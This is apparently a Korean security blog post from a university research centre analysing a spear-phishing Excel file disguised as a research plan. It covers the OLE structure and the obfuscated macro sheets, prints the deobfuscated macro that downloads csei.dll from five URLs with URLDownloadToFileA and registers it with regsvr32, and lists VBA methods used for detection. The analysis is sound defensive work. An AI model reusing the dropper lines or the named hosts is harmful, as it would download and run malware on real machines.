문서형 악성코드 동향
디지털 시대를 살고 있는 현재, 전 세계는 악성코드를 이용한 사이버 공격으로 인해 몸살을 앓고 있습니다. 해커들은 다양한 경로와 공격 방법을 통해 사용자 및 PC 등에 악성코드를 유포하고 있습니다. 사이버 공격에서 활용되는 악성코드의 주요 유입 경로로 이메일을 꼽을 수 있는데, 이메일을 통한 공격 수단으로 겉으로 보기에 평범한 전자문서로 보이지만 악성 행위를 수행하는 스크립트가 내포된 문서형 악성코드가 대표적인 공격 수단이라 할 수 있습니다. 이는 이메일을 통해 유입되는 악성코드 중 약 70% 이상의 높은 비율로 나타나며, 최근 비대면 시대에서 지속적으로 증가하는 추이를 보이고 있습니다.
문서형 악성코드 공격 사례
문서형 악성코드는 문서 자체가 악의적인 행위를 수행하지 않지만, 이를 실행함으로써 문서 내부에 악의적인 행위를 수행하는 스크립트 또는 실행 파일이 함께 실행되어 시스템을 악성코드에 감염시킵니다. 이러한 공격 방법은 불특정 다수 또는 대상을 표적하여 공격을 수행합니다.
최근 국내 정부와 주요 기관 관계자들을 대상으로 한 사이버 공격을 증가하고 있는 가운데, 실제 공격의 대상을 노린 스피어피싱 공격이 ‘사례비 지급 의뢰서’로 위장한 MS Office 문서형 악성코드가 발견되었습니다. 이러한 공격은 단순히 사용자 뿐만 아니라 정부기관과 주요 기관·기업을 비롯한 사회기반 시설 등을 대상으로 하고 있으며, 이는 불특정 공격 대상을 상대로 한 문서형 악성코드를 유포하는 것이 아닌 명확하게 공격의 대상을 노린 스피어피싱 공격이었습니다.
얼마전 실제 저희 KAIST 사이버보안연구센터 연구원들을 대상으로 위 공격 사례와 유사한 스피어피싱 공격이 발생한바 있으며, 본 포스팅에서는 이 공격에 대하여 악성 메일을 수신한 경위와 의심 정황 및 특징을 소개하고, 수집된 MS 오피스의 엑셀 파일을 활용하여 문서형 악성코드를 살펴보고자 합니다.
악성코드 수신 경위 및 유입 경로
최근 사내 메일시스템을 통하여 센터 연구원에게 전달된 정상 MS 엑셀 파일로 둔갑한 문서형 악성코드 파일은 그림1과 같습니다.

해당 메일은 사회공학 기법을 이용하여 실제 연구원이 알고 있는 보안 기업 직원을 사칭하여 전송된 메일이었으며, 메일 제목에 “Fwd:” 혹은 “Re:”가 붙어 있어 이전에 메일을 주고받은 것처럼 꾸며 열람을 유도하였습니다. 이처럼 공격자는 공격 대상의 이메일 주소와 공격 대상이 아는 지인의 이름, 메일 송신에 사용될 가짜 이메일 주소를 교묘히 활용하여 스피어피싱 공격을 시도하였습니다. 악성 엑셀 파일은 암호가 걸려 압축된 상태로 메일 내에 첨부되었으며, 이는 보안 솔루션의 탐지를 우회하기 위한 것으로 유추하고 있습니다.
MS Office Excel 악성코드의 형태
첨부된 파일의 압축을 해제하면 그림 2와 같이 정상 파일처럼 보이는 MS 엑셀 파일이 존재하는 것을 확인할 수 있습니다.

해당 MS 엑셀 파일을 실행할 경우 아무 내용이 없는 빈 엑셀 파일이라고 생각할 수 있지만, 그림 3과 같이 엑셀 메인 화면 상단에 ‘[보안경고] 매크로를 사용할 수 없도록 설정했습니다.’ 라는 문구와 함께 ‘콘텐츠 사용’ 버튼이 출력되는 것을 볼 수 있습니다.

MS Office 문서 내에는 매크로라는 기능이 존재하는데, 대개 MS Office 문서 내에 VBA 매크로 스크립트가 존재할 경우 콘텐츠 사용 버튼을 눌러야 정상적으로 매크로를 실행할 수 있습니다. 정상적인 MS Office 파일의 경우에는 그림 4과 같이 문서 내 글자의 폰트와 사이즈를 자동 설정하는 등 MS Office 기능의 의도에 맞게 특정 문구나 행위에 대해 반복적인 기능을 사용할 수 있게 하는 편의 기능 중 하나입니다.

MS Office 문서형 악성코드의 매크로 기능의 경우에는 자동 실행 함수, 프로시저 호출, 특정 파일 실행, URL을 통한 파일 다운로드 등의 악성 행위를 수행하는 특정 함수가 사용됩니다. 이러한 특정 함수는 일반적인 파일에 대한 생성과 삭제, 실행 등이 가능하며, 레지스트리와 같은 시스템 파일에 대한 접근도 가능하기 때문에 악의적인 목적을 가진 사용자가 VBA 코드를 활용하여 MS Office 문서를 비교적 쉽게 악성코드로 탈바꿈할 수 있습니다.
분석 대상인 “바우처 사업 연구개발계획서 초안(최종)” 엑셀 파일 내에 포함된 VBA 매크로 스크립트가 악성인지 아닌지를 판단하기 위해서는 MS Office 엑셀 매크로 영역을 분리하여 버전별로 매크로 스크립트가 포함되어있는 영역을 찾고 위협 인자(매크로 스크립트)를 추출해야 합니다. 하지만 MS 오피스 엑셀은 버전 별로 구조가 다르므로 이를 구별해서 매크로 스크립트가 포함된 영역 분석을 진행하여야 합니다.
악성코드 분석
MS Office 문서는 버전 별로 크게 OLE, OpenXML 형식의 구조로 나뉩니다. 분석을 진행하려는 MS 엑셀 파일의 버전을 확인하기 위해서는 영역을 분리하여 구조를 세부적으로 분석하는 방법도 있지만, 본 포스팅에서는 간단히 파일 시그니처 확인을 통해 MS 엑셀 파일의 버전을 구분하겠습니다. OLE 형식의 MS Excel 파일 시그니처는 “D0 CF 11 E0 A1 B1 1A E1”으로 시작하며, OpenXML 형식의 MS Excel은 “50 4B 03 04 14 00”으로 시작합니다. 그림 4와 같이 “바우처 사업 연구개발계획서 초안(최종)”는 OLE 파일 시그니처를 가지기 때문에 해당 구조에 맞게 분석해야 합니다.

MS 엑셀의 OLE 파일 구조 확장자는 기본적으로 xls이며, 마이크로소프트의 자체적인 파일 형식으로 텍스트, 오디오, 동영상 등 서로 다른 데이터 형식을 포함합니다. 이러한 특성을 OLE이라고 부르며, 복합 파일 이진 포맷의 문서를 OLE 문서라고 지칭하기도 합니다. 이러한 복합 파일 이진 구조는 FAT 파일 시스템과도 유사하며, 스토리지(Storage)와 스트림(Stream)의 계층 구조로 구성됩니다. 스토리지는 윈도우 OS에서의 디렉터리에 해당하며, 스트림은 파일과 유사합니다.
그림 5는 실제 “바우처 사업 연구개발계획서 초안(최종)” 엑셀 파일의 영역으로, OLE 구조 상 MS 엑셀 내에서 매크로 스크립트를 추가하게 되면 VBA라는 이름의 스토리지가 생성되며, 해당 스토리지(디렉터리) 안에 매크로 스트림(파일)들이 생성됩니다.

“바우처 사업 연구개발계획서 초안(최종)” 엑셀 파일이 OLE 구조인 것을 파악했고, 매크로 스크립트 파일이 포함되어야만 나타나는 ‘콘텐츠 사용’ 버튼이 확인되었으며, 영역으로 분리된 파일과 내부에 매크로 파일들이 식별할 수 있으므로 해당 MS 엑셀 파일이 매크로를 활용한 문서형 악성코드라고 1차적으로 판단할 수 있습니다. 이제 실제 매크로 스트립트에 대해 깊이 있게 분석해 보도록 하겠습니다.
MS 엑셀 문서 내에서 생성된 매크로 스크립트 파일은 바이너리 파일 형식으로 생성되는데, 정상적인 행위의 매크로와 악성 행위를 수행하는 매크로를 구분하기 위해서는 스크립트 내 함수가 어떤 기능 및 행위를 수행하는지를 확인해야 정확히 구분할 수 있습니다. 바이너리 형태로는 정확한 확인이 불가하기 때문에 스크립트가 압축된 방식을 확인한 후 압축을 해제하여 스크립트를 확인합니다. “바우처 사업 연구개발계획서 초안(최종)” 엑셀 파일의 매크로 바이너리는 Run-Length 기법으로 압축되어 있었고, 이 압축을 해제한 VBA 스크립트는 아래와 같습니다.
‘ 0085 13 BOUNDSHEET : Sheet Information – worksheet or dialog sheet, visible – Shee ‘ 0085 14 BOUNDSHEET : Sheet Information – worksheet or dialog sheet, hidden – Vesfv . . . ‘ 0018 27 LABEL : Cell Value, String Constant – GRDS5 len=7 ptgRef3d Vesfv!E19 ‘ 0018 27 LABEL : Cell Value, String Constant – GRDS6 len=7 ptgRef3d Vesfv!E21 ‘ 0018 23 LABEL : Cell Value, String Constant – built-in-name 1 Auto_Open len=7 . . . ‘ 002a 2 PRINTHEADERS : Print Row/Column Labels ‘ 002a 2 PRINTHEADERS : Print Row/Column Labels ‘ Sheet,Reference,Formula,Value ‘ Vesfv,E2,CHAR(113-2),”” ‘ Vesfv,G2,CHAR(111-6),”” ‘ Vesfv,L2,CHAR(71-6),”” ‘ Ufbd,N6,T( Shee!E2& Shee!D17& Shee!F15& Shee!E6& Shee!E2& Shee!B18& Shee!G2& Shee!C9),”” . . . ‘ Ufbd,F11,T( Shee!E2& Shee!D7& Shee!P15& Shee!P7& Shee!P15& Shee!E11& Shee!F4& Shee!B15& Shee!D13),”” ‘ Ufbd,P14,T( Shee!L2& Shee!P15& Shee!P7& Shee!P15& Shee!J6& Shee!J6& Shee!H9& Shee!H9& Shee!K14& Shee!K14& Shee!P15),”” ‘ Ufbd,Q23,T( Shee!P2& Shee!M7),”” . . .Shee!G41& Shee!P11& Shee!P13,E27)”,”” |
추출된 매크로 스크립트를 확인했을 때 악성 행위에 주요 사용되는 Auto_Open을 제외한 다른 스크립트들은 난독화 되어있어 현재 상태에서는 정확히 어떤 행위를 수행하기 위한 스크립트인지 확인이 어렵습니다. 따라서 해당 스크립트가 정상행위를 수행하는지 악성 행위를 수행하는지 판단하기 위해서는 난독화 해제 후에 사용되는 메소드를 확인해야 합니다. 난독화를 해제하면 다음과 같은 스크립트를 확인할 수 있습니다.
CALL(“urlmon”,”URLDownloadToFileA”,”JJCCBB”,0,”http://contentunion.net/newwebsite/UXkkk/”,”..\csei.dll”,0,0)) IF(GRDS2<0,CALL(“urlmon”,”URLDownloadToFileA”,”JJCCBB”,0,”http://contid.com/6vwkQmRU/”,”..\csei.dll”,0,0)) IF(GRDS3<0,CALL(“urlmon”,”URLDownloadToFileA”,”JJCCBB”,0,”http://ctfilms.com/ks/2ygJuGV0/”,”..\csei.dll”,0,0)) IF(GRDS4<0,CALL(“urlmon”,”URLDownloadToFileA”,”JJCCBB”,0,”http://cordclipsorganizer.com/cable-holder-2e/a/”,”..\csei.dll”,0,0)) IF(GRDS5<0,CALL(“urlmon”,”URLDownloadToFileA”,”JJCCBB”,0,”http://dahiaka.com/DND/JuBlOiT8Ixj/”,”..\csei.dll”,0,0)) IF(GRDS6<0,CLOSE(0),) =EXEC(“C:\Windows\SysWow64\regsvr32.exe -s ..\csei.dll”)RETURN() |
난독화가 해제된 스크립트를 분석해 보면 URLDownloadToFileA 라는 메소드를 사용해 특정 URL에서 csei.dll이라는 파일을 다운로드 받은 후 regsv32.exe를 사용해 csei.dll 파일을 레지스트리에 등록시키는 행위를 수행하는 악성코드임을 확인할 수 있습니다.
다만, 분석 당시 해당 URL이 모두 작동하지 않아 csei.dll 파일에 대한 추가적인 분석은 진행할 수 없었습니다. 이러한 전반적인 행위를 분석해 보았을 때 파일 드롭퍼 기능을 통해 dll를 다운로드 받은 후 레지스트리에 등록시키려고 하는 행위 즉, 이는 정상 엑셀 파일이 아닌 매크로를 활용한 엑셀 문서형 악성코드인 것을 확신할 수 있습니다.
실제로 수집한 MS Office 매크로 악성코드 파일들을 분석해본 결과 악성 행위에 사용되는 VBA 스크립트 메소드는 한정되어 있으며, 악성 행위에 사용되는 VBA 스크립트 위협 인자(메소드)는 표 1과 같이 정의할 수 있습니다.
메소드 | 기능 |
AutoOpen Document_Open Document_Open | 문서 파일 실행 시 매크로 자동 실행 |
URLDownloadToFileA Msxml2.XMLHTTP User-Agent | 드롭퍼 형식의 파일 다운로드 기능 |
Call | 특정 프로시저 호출 |
Shell vbNormal WScript.shell Run | 실행 파일 또는 시스템 명령어 실행 |
Environ | 운영체제의 환경변수 값 반환 |
Open | 파일 입출력 기능 활성화 |
Write, Put, Output, Print | 특정 파일에 데이터 쓰기 |
글을 마치며
MS Office는 전 세계적으로 공공기관, 기업, 학교, 가정 등 다양한 곳에서 가장 많이 사용되고 있는 문서 편집 소프트웨어이지만, 악의적인 목적을 가진 사용자들은 이러한 범용성을 이용하여 MS Office 문서 파일을 사이버 공격의 매개체로 사용하고 있습니다.
본 포스팅에서 살펴본 MS 엑셀 파일처럼 문서형 악성코드는 공격에 사용되는 위협 인자들을 난독화 하거나, 원격 실행 코드, 제로데이를 교묘히 활용하여 기존의 보안솔루션을 쉽게 우회하며, 메일 서비스를 통해 쉽게 불특정 및 특정 사용자에게 유포될 수 있습니다. 특히, 사회공학 기법을 사용하여 보다 쉽게 공격 대상자를 현혹하여 악성코드를 감염시킵니다. 하지만 합리적인 의심과 모르는 메일 주소의 첨부 파일을 열람하지 않는 습관을 기른다면 이메일을 통한 문서형 악성코드 피해를 충분히 사전에 예방할 수 있습니다.
다음 포스팅에서는 MS Word 문서형 악성코드의 구조 분석과 위협 인자에 대해 자세히 소개하고, 효과적인 탐지 방법에 대해 살펴보도록 하겠습니다.
참고 문헌
[1] https://www.cctvnews.co.kr/news/articleView.html?idxno=93597
[2] https://www.dailynk.com/%EC%82%AC%EB%A1%80%EB%B9%84-%EC%A7%80%EA%B8%89%EC%9D%98%EB%A2%B0%EC%84%9C-%EB%B6%81%ED%95%9C-%EB%AA%A9%ED%91%9C-%EB%8C%80%EC%83%81%EC%97%90-%EC%95%85%EC%84%B1-ms%EC%9B%8C%EB%93%9C-%EB%AC%B8/
[3] Deokkyu Lee, Sang Jin Lee “A Study of Office Open XML Document-Based Malicious Code Analysis and Detection Methods,” KIISC, 2020.[4] Kyeong Cheol Yang, Su Yeon Lee, Won Hyung Park, Kwang Cheol Park, Jong In Lim “A Study on the Analysis and Detection Method for Protecting Malware Spreading via E-mail,”KIISC, 2009.
[4] Kyeong Cheol Yang, Su Yeon Lee, Won Hyung Park, Kwang Cheol Park, Jong In Lim “A Study on the Analysis and Detection Method for Protecting Malware Spreading via E-mail,”KIISC, 2009.

손승호 연구원은 사이버보안학과 졸업 및 한국정보기술연구원 차세대 보안리더 양성 프로그램 5기 교육 수료생이다. 현재 KAIST 사이버보안연구센터 악성코드분석 팀원으로 악성코드 분석 프로그램 개발 및 연구를 진행하고 있다.
공감합니다
코드 구조뿐만 아니라 악질의 심상구조까지 파악한 듯한 연구원의 모습에 공감과 감탄사를 보냅니다.